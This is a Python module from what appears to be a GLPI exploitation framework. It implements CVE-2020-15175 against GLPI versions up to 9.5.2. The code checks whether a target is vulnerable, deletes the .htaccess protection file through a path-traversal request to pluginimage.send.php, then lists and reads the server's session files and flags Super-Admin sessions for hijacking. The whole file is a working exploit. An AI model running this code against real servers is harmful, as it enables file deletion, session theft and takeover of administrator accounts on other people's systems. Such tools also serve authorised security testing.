import re
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.utils import GlpiUtils
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup

class CVE_2020_15175(GlpiExploit):
    """
    Exploit that can remove a file in a specific folder
    Shall result in authent bypass

    @author SchneiderSec
    @name CVE_2020_15175
    @cvss 7.4
    """
    min_version = "0.70"
    max_version = "9.5.2"
    _impacts = "File Deletion, Authentication Bypass, File Delete, Possible RCE"
    _description = "Allows to delete the .htacces file that prevents access to the _sessions and other sensitives files"
    profiles_available = "Super-Admin|Read-Only|Self-Service|Observer|Admin|Hotliner|Technician|Supervisor"

    def _parse_apache_dir(self, dir_content):
        """
        Parse the directory of apache, order by size DESC

        :param dir_content: The result of the html content of the dir
        :type dir_content: str

        :return: The file contained on the dir with their size
        :rtype: Dict[str, List[str]]
        """
        directory_content = {}
        soup = BeautifulSoup(dir_content, "html.parser")
        table = soup.find("table")
        if not table:
            Log.err("Cannot parse Apache directory, [red]no table found[/red]")
            return directory_content

        rows = table.findChildren(["tr"])
        for row in rows:
            cols = row.find_all(["td"])
            for ressource in cols:
                ref = GlpiUtils.extract_attr(ressource.find(["a"]), "href")
                if ref:
                    directory_content[ref] = cols[-2].text
        return directory_content

    def _get_session_priv(self, session_content):
        """
        Recover the session privilege from
        the session content

        :param session_content: The content of the current session
        :type session_content: str
        """
        privs = []
        if session_content.find("glpiprofiles|") == -1:
            return ["Unauthenticated"]

        session_splitted = session_content.split('|')
        for i,obj in enumerate(session_splitted):
            if(obj.find("glpiprofiles") != -1 and i+1 < len(session_splitted)):
                sess_regex = re.compile(rf's:4:"name";s:\d+:"({self.profiles_available})"', re.I)
                return re.findall(sess_regex, session_splitted[i+1])

        return ["Unauthenticated"]

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allow you to remove the file [i]'.htaccess'[/i] in the files directory\n"
        infos += "You can then access all the session and hijack them, to become another user\n"

        infos += "\nExploit is [red b]Dangerous[/]"
        return infos

    def check(self):
        """
        Check if the target instance of glpi is vulnerable to
        this exploit or not

        :return: Whether or not the check succeed
        :rtype: bool
        """
        endpoint = "/front/pluginimage.send.php?plugin=..&name=.htaccess"
        res = self.get(endpoint, allow_redirects=False)
        if(res.status_code == HTTPStatus.OK and "security" not in res.text):
            return True
        return False

    def run(self):
        """
        Exploit the vulnerability to delete the .htaccess
        file
        """
        endpoint = "/front/pluginimage.send.php?plugin=..&name=.htaccess&clean"
        Log.log("Cleaning the .htaccess file")
        Log.log(f"Reset .htaccess content:\n" + GlpiUtils.get_htaccess_content())
        self.get(endpoint)
        self._write_log(".htaccess deleted in /files/")
        all_sessions = self.get("/files/_sessions/?C=S;O=D")
        if all_sessions.status_code == HTTPStatus.FORBIDDEN:
            Log.err("Cannot list /files/_sessions dir")
            return

        sessions_dict = self._parse_apache_dir(all_sessions.text)
        for sess in sessions_dict.keys():
            if not sess.startswith("sess_"):
                continue
            sess_content = self.get(f"/files/_sessions/{sess}")
            sessions_privs = self._get_session_priv(sess_content.text)
            str_privs = ' | '.join(sessions_privs)
            if 'Super-Admin' in sessions_privs:
                str_privs = f"[b red]{str_privs}[/b red]"
            Log.pad().msg(f"Session: {sess[5:]} --> {str_privs}")

        

